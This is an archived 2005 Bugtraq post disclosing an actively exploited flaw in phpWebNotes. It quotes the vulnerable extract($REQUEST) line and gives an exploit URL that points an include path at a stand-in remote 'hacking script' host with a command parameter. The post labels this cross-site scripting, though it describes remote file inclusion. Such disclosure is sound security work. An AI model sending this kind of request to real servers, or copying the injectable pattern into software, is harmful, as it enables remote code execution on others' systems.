[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: XSS security hole in phpwebnotes.
From: nf2 <nf2 () scheinwelt ! at>
Date: 2005-08-27 9:19:22
Message-ID: 4310301A.6020702 () scheinwelt ! at
[Download RAW message or body]
Hi security team!
I have found a security hole in a popular php application (not
maintained anymore). The hole already gets exploited - our server was
hacked that way two days ago. Probably hackers just use google to find
installations of phpwebnotes.
Version: phpWebNotes-2.0.0-pr1.tar.gz (last)
----------------------------------------------------------------------
the bug is in php_api.php line 77:
extract($REQUEST);
this allowes to change $t_path_core which is used in api.php:
require_once( $t_path_core . 'constants_inc.php' );
this can be used for a cross site scripting attack.
how does it work:
GET
http://server/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id
-----------------------------------------------------------------------
http://www.futureware.biz/webnotes/
http://sourceforge.net/projects/webnotes/
regards,
Norbert
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic